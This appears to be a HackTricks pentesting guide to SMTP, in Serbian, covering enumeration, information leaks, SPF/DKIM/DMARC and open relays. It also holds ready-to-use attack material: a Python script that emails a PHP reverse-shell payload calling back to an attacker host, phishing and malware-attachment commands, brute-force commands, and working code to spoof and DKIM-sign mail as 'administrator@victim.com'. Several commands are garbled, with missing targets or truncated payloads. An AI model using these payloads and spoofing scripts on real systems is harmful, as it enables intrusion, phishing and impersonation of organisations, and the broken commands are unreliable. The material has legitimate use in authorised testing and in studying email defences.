# 25,465,587 - Pentesting SMTP/s
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
**Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## **Osnovne informacije** **Simple Mail Transfer Protocol (SMTP)** je protokol koji se koristi unutar TCP/IP paketa za **slanje i primanje e-pošte**. Zbog svojih ograničenja u čekanju poruka na strani primaoca, SMTP se često koristi zajedno sa **POP3 ili IMAP**. Ovi dodatni protokoli omogućavaju korisnicima da skladište poruke na serveru poštanskog sandučeta i da ih povremeno preuzimaju. U praksi, uobičajeno je da **programi za e-poštu** koriste **SMTP za slanje e-pošte**, dok koriste **POP3 ili IMAP za primanje**. Na sistemima zasnovanim na Unix-u, **sendmail** se ističe kao SMTP server koji se najčešće koristi u svrhu e-pošte. Komercijalni paket poznat kao Sendmail obuhvata POP3 server. Nadalje, **Microsoft Exchange** pruža SMTP server i nudi opciju uključivanja podrške za POP3. **Podrazumevani port:** 25,465(ssl),587(ssl) ``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### EMAIL Zaglavlja Ako imate priliku da **natjerate žrtvu da vam pošalje e-poštu** (putem obrasca za kontakt na web stranici na primer), učinite to jer **možete saznati o unutrašnjoj topologiji** žrtve gledajući zaglavlja poruke. Takođe možete dobiti e-poštu sa SMTP servera pokušavajući **poslati tom serveru e-poštu na nepostojeću adresu** (jer će server poslati napadaču NDN poruku). Međutim, budite sigurni da šaljete e-poštu sa dozvoljene adrese (proverite SPF politiku) i da možete primati NDN poruke. Trebali biste takođe pokušati **poslati različite sadržaje jer možete pronaći interesantne informacije** u zaglavljima poput: `X-Virus-Scanned: by av.domain.com`\ Trebali biste poslati EICAR test fajl.\ Otkrivanje **AV** može vam omogućiti iskorišćavanje **poznatih ranjivosti.** ## Osnovne radnje ### **Banner Grabbing/Osnovna konekcija** **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Pronalaženje MX servera organizacije ```bash dig +short mx google.com ``` ### Nabrojavanje ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Otkrivanje informacija Ako server podržava NTLM autentikaciju (Windows), možete dobiti osetljive informacije (verzije). Više informacija [**ovde**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` Ili **automatizujte** ovo pomoću **nmap** dodatka `smtp-ntlm-info.nse` ### Interno ime servera - Otkrivanje informacija Neke SMTP servere automatski dopunjuju adresu pošiljaoca kada se izda komanda "MAIL FROM" bez potpune adrese, otkrivajući njegovo interno ime: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Snifovanje Proverite da li ste ispratili neku lozinku iz paketa ka portu 25 ### [Bruteforce autentikacije](../../generic-methodologies-and-resources/brute-force.md#smtp) ## Enumeracija Brute Force Korisničkog Imena **Autentikacija nije uvek potrebna** ### RCPT TO ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello 18.28.38.48, pleased to meet you MAIL FROM:example@domain.com 250 2.1.0 example@domain.com... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello 18.28.38.48, pleased to meet you VRFY root 250 Super-User root@myhost VRFY blah 550 blah... User unknown ``` ### EXPN ### EXPN ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 ed.williams@myhost EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Automatski alati ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ```
**Trenutno dostupna postavka za procenu ranjivosti i testiranje proboja**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} ## DSN Izveštaji **Izveštaji o obaveštenju o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **povratnog mejla vama**. **Zaglavlja** vraćenog mejla će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su interaktovali sa izveštajima ili informacije o antivirusnom softveru). ## [Komande](smtp-commands.md) ### Slanje emaila sa linux konzole ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Slanje email-a pomoću Python-a
Python kod ovde ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 # create message object instance msg = MIMEMultipart() # setup the parameters of the message password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!" # payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("[*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()[0] != 250: print("[-]Connection Error") exit() server.starttls() # Uncomment if log-in with authencation # server.login(msg['From'], password) server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ```
## SMTP Smuggling Ranjivost SMTP transporta omogućila je zaobilaženje svih SMTP zaštita (proverite sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP transportu pogledajte: {% content-ref url="smtp-smuggling.md" %} [smtp-smuggling.md](smtp-smuggling.md) {% endcontent-ref %} ## Mera protiv lažnog slanja mejlova Organizacije su sprečene da neovlašćeno šalju e-poštu u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog jednostavnosti lažnog slanja SMTP poruka. **Potpuni vodič za ove mere** dostupan je na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF {% hint style="danger" %} SPF [je "zastareo" 2014. godine](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). To znači da umesto kreiranja **TXT zapisa** u `_spf.domain.com` treba ga kreirati u `domain.com` koristeći **isti sintaksu**.\ Osim toga, kako bi se ponovo koristili prethodni SPF zapisi, često se može naći nešto poput `"v=spf1 include:_spf.google.com ~all"` {% endhint %} **Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTA) da provere da li je host koji šalje e-poštu ovlašćen tako što upita listu ovlašćenih poštanskih servera definisanih od strane organizacija. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-poštu u ime imena domena**, uključuje različite "**Mehanizme**" u SPF zapisu. #### Mehanizmi Sa [Vikipedije](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Mehanizam | Opis | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Uvek se podudara; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu podudarne sa prethodnim mehanizmima. | | A | Ako ime domena ima zapis adrese (A ili AAAA) koji se može rešiti na adresu pošiljaoca, podudaraće se. | | IP4 | Ako je pošiljalac u datom IPv4 opsegu adresa, podudara se. | | IP6 | Ako je pošiljalac u datom IPv6 opsegu adresa, podudara se. | | MX | Ako ime domena ima MX zapis koji se rešava na adresu pošiljaoca, podudaraće se (tj. pošta dolazi sa jednog od dolaznih poštanskih servera domena). | | PTR | Ako je ime domena (PTR zapis) za adresu klijenta u datoj domeni i to ime domena se rešava na adresu klijenta (forward-confirmed reverse DNS), podudara se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. | | EXISTS | Ako dato ime domena vodi ka bilo kojoj adresi, podudara se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Uz SPF makro jezik nudi složenije podudaranje poput DNSBL-upita. | | INCLUDE | Referiše na politiku druge domene. Ako politika te domene prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da bi se potpuno delegiralo politici druge domene, mora se koristiti produženje preusmeravanja. | | REDIRECT |

Preusmeravanje je pokazivač na drugo ime domena koje hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada se radi sa velikim brojem domena koji dele istu infrastrukturu e-pošte.

SPF politika domena naznačena u mehanizmu preusmeravanja će biti korišćena.

| Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba uraditi ako se mehanizam podudara**. Podrazumevano se koristi **kvalifikator "+"** (tako da ako se podudara bilo koji mehanizam, to znači da je dozvoljeno).\ Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da bi se naznačilo da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-poštu kao nepoverljivu (\~) ili odbiti (-) e-poštu.** #### Kvalifikatori Svaki mehanizam unutar politike može biti prefiksan jednim od četiri kvalifikatora kako bi se definisao željeni rezultat: * **`+`**: Odgovara rezultatu PROLAZ. Podrazumevano, mehanizmi pretpostavljaju ovaj kvalifikator, čineći `+mx` ekvivalentnim `mx`. * **`?`**: Predstavlja rezultat NEUTRALNO, tretiran slično kao NEMA (bez specifične politike). * **`~`**: Označava SOFTFAIL, služeći kao srednje rešenje između NEUTRALNO i GREŠKA. E-poruke koje zadovolje ovaj rezultat obično se prihvataju ali se označavaju prema tome. * **`-`**: Označava GREŠKA, sugerišući da bi e-pošta trebalo direktno odbiti. U sledećem primeru, **SPF politika google.com** je ilustrovana. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo tačan/nijedan SPF zapis. **Danas**, ako **e-pošta** dolazi sa **domena bez validnog SPF zapisa**, verovatno će biti **odbijena/označena kao nepoverljiva automatski**. Da biste proverili SPF domena, možete koristiti online alate poput: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) ### DKIM (DomainKeys Identified Mail) DKIM se koristi za potpisivanje odlaznih e-pošta, omogućavajući njihovu validaciju od strane spoljnih Mail Transfer Agents (MTA) putem dobijanja javnog ključa domena iz DNS-a. Taj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključu, morate znati i selektor i ime domena. Na primer, zahtev za ključem, ime domena i selektor su neophodni. Oni se mogu pronaći u zaglavlju e-pošte `DKIM-Signature`, npr. `d=gmail.com;s=20120113`. Komanda za dobijanje ovih informacija može izgledati ovako: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` ### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC poboljšava sigurnost e-pošte gradeći na SPF i DKIM protokolima. On definiše politike koje vode mail servere u rukovanju e-poštom sa određene domene, uključujući kako postupati sa autentikacionim greškama i gde slati izveštaje o akcijama obrade e-pošte. **Da biste dobili DMARC zapis, morate upitati poddomen \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` #### DMARC oznake | Ime oznake | Svrha | Primer | | ---------- | --------------------------------------------- | ------------------------------- | | v | Verzija protokola | v=DMARC1 | | pct | Procenat poruka podvrgnut filtriranju | pct=20 | | ruf | URI za prijavljivanje forenzičkih izveštaja | ruf=mailto:authfail@example.com | | rua | URI za prijavljivanje agregiranih izveštaja | rua=mailto:aggrep@example.com | | p | Politika za organizacioni domen | p=quarantine | | sp | Politika za poddomene OD | sp=reject | | adkim | Režim poravnanja za DKIM | adkim=s | | aspf | Režim poravnanja za SPF | aspf=r | ### **Šta je sa Poddomenima?** **Od** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Morate imati odvojene SPF zapise za svaki poddomen sa kog želite da šaljete poštu.\ Sledeće je originalno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovu vrstu informacija. > Pitanje o Demona: Šta je sa poddomenima? > > Ako dobijem poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaki poddomen na Demonu je drugačiji korisnik, i svaki korisnik može imati svoju politiku. Ne bi imalo smisla da se politika Demona automatski primenjuje na sve svoje korisnike; ako Demon to želi, može postaviti SPF zapise za svaki poddomen. > > Dakle, savet izdavačima SPF-a je sledeći: trebalo bi da dodate SPF zapis za svaki poddomen ili ime hosta koje ima A ili MX zapis. > > Sajtovi sa wildcard A ili MX zapisima takođe treba da imaju wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all" Ovo ima smisla - poddomen može biti u potpuno drugačijoj geografskoj lokaciji i imati potpuno drugačiju definiciju SPF-a. ### **Otvoreni Relej** Prilikom slanja emailova, važno je osigurati da ne budu označeni kao spam. Ovo se često postiže korišćenjem **relejnog servera koji je poveren od strane primaoca**. Međutim, čest izazov je što administratori možda nisu potpuno svesni koje **IP opsege je bezbedno dozvoliti**. Ovaj nedostatak razumevanja može dovesti do grešaka prilikom postavljanja SMTP servera, rizik koji se često identifikuje u bezbednosnim procenama. Rešenje koje neki administratori koriste kako bi izbegli probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, jeste da **dozvole konekcije sa bilo kog IP adrese**. Ovo se postiže konfigurisanjem parametra `mynetworks` SMTP servera da prihvati sve IP adrese, kako je prikazano ispod: ```bash mynetworks = 0.0.0.0/0 ``` Da biste proverili da li je poštanski server otvoren za preusmeravanje (što znači da može proslediti e-poštu sa bilo kog spoljnog izvora), često se koristi alat `nmap`. On uključuje poseban skript dizajniran za testiranje ovoga. Komanda za sprovođenje detaljnog skeniranja servera (na primer, sa IP adresom 10.10.10.10) na portu 25 korišćenjem `nmap`-a je: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### **Alati** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Proverite konfiguracije SPF i DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatski dobijanje SPF i DMARC konfiguracija** ### Slanje lažnih emailova * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **Ili možete koristiti alat:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` {% hint style="warning" %} Ako dobijete bilo kakvu grešku prilikom korišćenja dkim python lib prilikom parsiranja ključa slobodno koristite sledeći.\ **NAPOMENA**: Ovo je samo brzo rešenje za obavljanje brzih provera u slučajevima kada iz nekog razloga privatni ključ openssl-a **ne može da se parsira od strane dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` {% endhint %} **Ili to možete uraditi ručno:** {% tabs %} {% tab title="PHP" %}
# Ovo će poslati nepotpisanu poruku
mail("vas_email@gmail.com", "Testni predmet!", "hej! Ovo je test", "Od: administrator@victim.com");
{% endtab %} {% tab title="Python" %} ```python # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py import os import dkim #pip3 install dkimpy import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase # Set params destination="destination@gmail.com" sender="administrator@victim.com" subject="Test" message_html="""

This is a test, not a scam


""" sender_domain=sender.split("@")[1] # Prepare postfix os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf") os.system("systemctl restart postfix") # Generate DKIM keys dkim_private_key_path="dkimprivatekey.pem" os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null") with open(dkim_private_key_path) as fh: dkim_private_key = fh.read() # Generate email msg = MIMEMultipart("alternative") msg.attach(MIMEText(message_html, "html")) msg["To"] = destination msg["From"] = sender msg["Subject"] = subject headers = [b"To", b"From", b"Subject"] msg_data = msg.as_bytes() # Sign email with dkim ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted) dkim_selector="s1" sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers) msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode() msg_data = msg.as_bytes() # Use local postfix relay to send email smtp="127.0.0.1" s = smtplib.SMTP(smtp) s.sendmail(sender, [destination], msg_data) ``` {% endtab %} {% endtabs %} ### **Više informacija** **Pronađite više informacija o ovim zaštitama na** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) ### **Drugi indikatori phishinga** * Starost domena * Linkovi koji vode ka IP adresama * Tehnike manipulacije linkova * Sumnjivi (neobični) prilozi * Oštećen sadržaj e-pošte * Korišćenje vrednosti koje se razlikuju od zaglavlja e-pošte * Postojanje važećeg i pouzdanog SSL sertifikata * Slanje stranice na sajtove za filtriranje web sadržaja ## Izvlačenje podataka putem SMTP-a **Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** ## Konfiguracioni fajl ### Postfix Obično, ako je instaliran, u `/etc/postfix/master.cf` se nalaze **skripte za izvršavanje** kada se na primer primi nova pošta od korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će se `/etc/postfix/filtering` izvršiti ako korisnik mark primi novu poštu. Drugi konfiguracioni fajlovi: ``` sendmail.cf submit.cf ``` ## Reference * [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) * [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/) ## HackTricks Automatske Komande ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ```
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.